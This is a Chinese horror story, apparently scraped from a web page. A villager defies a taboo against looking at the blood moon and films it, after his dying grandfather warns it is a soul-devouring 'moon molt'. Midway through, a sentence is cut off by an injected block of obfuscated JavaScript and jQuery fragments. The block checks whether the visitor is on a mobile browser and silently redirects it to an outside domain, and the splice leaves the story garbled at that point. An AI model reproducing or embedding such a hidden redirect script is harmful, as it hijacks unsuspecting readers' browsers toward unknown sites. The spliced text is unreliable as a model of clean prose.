我们村坐落在山坳深处，像个被时间遗忘的角落。


    村口那棵歪脖子老槐树，虬枝盘结，活像一只伸向天空的鬼爪。村规不多，但有一条，是刻在每个人骨头缝里的铁律，连吃奶的娃都知道：


    血月当空，闭门锁窗，莫抬头！


    谁要是犯了这条忌讳，后果？没人明说，但村里老人浑浊的眼底会瞬间蒙上一层更深的恐惧，摇着头，干瘪的嘴唇嗫嚅着：“造孽啊……要遭报应的……”声音压得极低，仿佛连“血月”这两个字本身都带着不祥的诅咒，会被那轮悬在天上的东西听见。


    祖父是村里最老的老人，他那张脸，沟壑纵横，像是被岁月和山风用最粗粝的砂纸打磨过无数遍。


    他当过“观星人”，那是村里最神秘、也最遭忌讳的活计，据说能在特定的夜晚，窥探到常人绝不能看的东西。


    他极少提起那段往事，仿佛那是深埋心底的毒瘤。


    我小时候不懂事，缠着他问过血月的事，换来的总是他陡然阴沉的脸和一声滚雷般的呵斥：“找死的东西！再提，打断你的腿！”


    那眼神里的寒意，让我浑身发冷，比数九寒天掉进冰窟窿还难受。


    直到那个深秋的傍晚，祖父不行了。


    油尽灯枯，他躺在硬邦邦的土炕上，枯瘦如柴，每一次呼吸都带着破风箱似的嘶鸣，艰难地拉扯着所剩无几的生命。


    屋里弥漫着浓重苦涩的草药味，还有……一种更沉、更腐朽的气息。


    爹娘和叔伯围在炕边，压抑的啜泣声像秋虫在角落低鸣，我跪在最前面，紧紧攥着他那只冰凉枯槁的手，粗糙得像老树皮。


    他似乎耗尽了最后一丝力气，浑浊发黄的眼珠艰难地转向我，嘴唇哆嗦着，发出微弱的气音，像风吹过漏风的窗纸。我慌忙把耳朵凑近他那几乎没有血色的唇边。


    “……崽……靠……近点……”


    我屏住呼吸，心脏在胸腔里擂鼓。


    “那……不是月亮……”他每一个字都像从喉咙深处抠出来的，带着血腥气，“是……‘月蜕’……”


    月蜕？我浑身一激灵。这个词像冰冷的毒蛇，瞬间钻进耳朵。


    “百年……蜕一次皮……那红……是引子……”他枯槁的手指在我掌心痉挛般地抠了一下，留下几道白痕，“引活物……抬头……看它……”


    他猛地倒抽一口凉气，眼珠瞪得更大，直勾勾地盯着低矮黢黑的房梁，仿佛穿透了屋顶，看到了悬在夜空之上的恐怖存在。


    “看它……魂儿……就没了……”祖父的声音陡然拔高，带着一种濒死的尖利，像生锈的铁片刮过骨头，“养料……新躯壳的……养料！”


    “呃啊——！”他喉咙里爆出一声短促凄厉的惨叫，身体剧烈地向上挺了一下，随即颓然落下。


    那只死死抠着我的手，骤然失去了所有力量，软软地垂落下去。浑浊的眼睛依旧大大地瞪着，瞳孔深处凝固着一种无法言喻的、深入骨髓的惊怖。


    屋子里死寂了一瞬，随即爆发出撕心裂肺的哭嚎。


    祖父没了。


    带着那个惊悚的秘密。


    可那个词，像淬了毒的种子，深深扎进我的脑子——“月蜕”。


    爹娘和叔伯们沉浸在巨大的悲痛里，忙着操持丧事。


    古老的葬仪繁琐沉重，唢呐凄厉的呜咽声在山坳里回荡，纸钱灰烬打着旋飘向阴沉的天。


    他们眼神哀戚，偶尔掠过一丝深藏的恐惧，但绝口不提祖父临终的话，仿佛那只是老人弥留之际的呓语，是禁忌，是必须彻底遗忘的灾殃。


    但我不行。


    祖父最后那声惨叫和那双凝固着极致恐惧的眼睛，日夜在我眼前晃动。


    那个词，那个“月蜕”，像活物一样在我脑子里钻营、啃噬……不是月亮？那是什么？蜕皮？百年一次？红光引活物抬头？魂儿被勾走当养料？


    荒谬！太荒谬了！都什么年代了？我念过书，知道月亮不过是颗绕着地球转的石头，反射着太阳的光。


    哪有什么活物？哪有什么勾魂？这肯定是祖辈们对无法理解的天象产生的愚昧恐惧，代代相传，成了束缚人的枷锁！


    一种混杂着叛逆、好奇和对祖父临终恐惧的不服输的情绪，在我心底疯狂滋长。


    凭什么不能看？我偏要看个明白！我要撕碎这笼罩村庄百年的愚昧迷雾！我要看看，那所谓的“月蜕”，到底是什么鬼东西！


    村里压抑的气氛和长辈们讳莫如深的态度，像催化剂一样，让这个念头愈发炽烈。


    我偷偷翻出自己那台老旧的数码摄像机，电池充满，内存卡清空。


    动作轻得像贼，生怕被爹娘发现一丝端倪——要是让他们知道我动了这心思，非得把我腿打断不可。


    日子一天天过去，我像个等待审判的囚徒，焦躁又隐秘地等待着。


    终于，关于“血月”的消息，如同滴入水中的墨汁，在闭塞的村庄外那更广阔的世界里蔓延开来。


    天文爱好者论坛、新闻网站的边角、甚至手机推送里都开始出现零星的字眼——“本世纪罕见血月奇观”、“超级月亮叠加月全食”、“最佳观测时间在子夜前后”。


    就是今晚！


    夜幕低垂，沉甸甸地压在山峦和村庄之上。


    天空是浓得化不开的墨色，不见一丝星光。


    空气粘稠得令人窒息，仿佛凝固了，带着一股若有似无的、铁锈般的腥甜气味。


    虫鸣鸟叫彻底绝迹，连村里的狗都反常地安静下来，缩在窝里发出不安的低呜。


    死寂，笼罩着一切。


    爹娘早早就关了灯，门窗紧闭，还用沉重的木杠死死顶住，黑暗里，我能听到他们粗重而压抑的呼吸声，充满了无法言说的紧张。他们甚至不敢靠近窗户。


    时间，像生锈的齿轮，缓慢地爬向子夜。


    我像影子一样溜出自己的小屋。老旧的木门轴发出“吱呀”一声轻响，在死寂的夜里显得格外刺耳。


    我心脏猛地一缩，僵在原地，侧耳倾听，隔壁爹娘屋里没有任何动静，我这才像受惊的兔子，蹑手蹑脚地闪身出来，迅速隐入屋后浓重的黑暗中。


    山风不知何时停了，空气凝固得如同固体。


    四周是无边无际、令人心慌的漆黑。我深一脚浅一脚地爬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181651|146250||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上屋后那个小小的土坡，这里视野开阔，能避开村里大部分房屋的遮挡。


    坡顶几块冰冷的巨石成了我唯一的依靠，我蜷缩在石头后面，背靠着粗糙冰凉的岩面，心脏在肋骨后面疯狂地冲撞，几乎要破膛而出，手里紧紧攥着那台冰凉的摄像机，指尖因为用力而发白。


    抬头望天，那墨色的天幕深处，似乎有什么东西正在酝酿，一种难以形容的压迫感，沉甸甸地从头顶压下来。


    突然，天幕最东边，紧贴着起伏的山脊线，一道极其诡异的暗红色光晕，无声无息地晕染开来。


    像一滴浓稠的、污浊的血，滴入了漆黑的墨池，缓慢地、无可阻挡地扩散、加深。


    来了！


    我的心跳骤然漏了一拍，随即跳得更快更猛，撞击着耳膜嗡嗡作响。


    呼吸变得异常困难，每一次吸气都带着那股越来越浓的铁锈腥气，冰冷地灌入肺叶，我死死咬住下唇，强迫自己冷静下来，手指颤抖着，摸索着按下了摄像机的录制键，微弱的指示灯亮起一点红光，在绝对的黑暗中显得格外醒目，像一只窥伺的眼睛。


    我深吸一口气，将摄像机屏幕贴在眼前，冰冷的塑料外壳贴着我的脸。


    镜头，带着一丝孤注一掷的决绝和无法抑制的恐惧，颤巍巍地、一寸一寸地向上抬起，对准了那片正在被血色疯狂吞噬的天穹。


    屏幕里，那片暗红越来越浓重，越来越刺眼，像一块巨大的、燃烧的、正在冷却的烙铁，它蠕动着，膨胀着，最终，挣脱了山脊的束缚，完全跃入了视野中央。


    一轮硕大无比、妖异绝伦的“月亮”，悬停在高高的天穹之上！


    它不是我们熟悉的那个清冷皎洁的银盘，屏幕里，它占据了大半个视野，边缘模糊不清，仿佛融入了周围的血色天幕，它的颜色，是那种无法形容的、污浊的、仿佛沉淀了无数岁月的暗红。表面并非光滑，而是布满了深浅不一的沟壑和扭曲的阴影，像是凝固的血浆覆盖着腐烂的内里，又像是某种巨大生物干瘪褶皱的表皮。


    它散发着一种……活物的气息。粘稠、沉重、充满了令人作呕的恶意。


    屏幕的微光映着我因极度惊骇而扭曲的脸。


    这就是……月蜕？


    祖父的警告和村中百年的禁忌，此刻像冰冷的潮水轰然冲垮了我所有“科学”的堤坝，只剩下源自本能的、最原始的恐惧。


    我想移开视线，想扔掉摄像机，想尖叫着逃回屋里……但身体僵住了，像被无形的冰冻结在原地，眼睛死死黏在小小的屏幕上，仿佛被那污秽的红光牢牢吸住。


    就在这极致的恐惧中，异变陡生！


    屏幕中央，那轮巨大污秽的血月表面，毫无征兆地，裂开了！


    不是陨石坑，不是光影错觉，而是一条笔直的、深邃的、仿佛贯穿了那巨大球体的黑色缝隙！它就在那污浊血红的“月面”中央，缓缓地、无声无息地张开。


    边缘是撕裂的、不规则的，如同被巨力硬生生扯开的陈旧皮革，缝隙内部，是比最深的夜还要浓稠、还要纯粹的黑暗，深不见底，仿佛通往另一个宇宙的虚空，又像是某种活物冰冷无情的……竖瞳！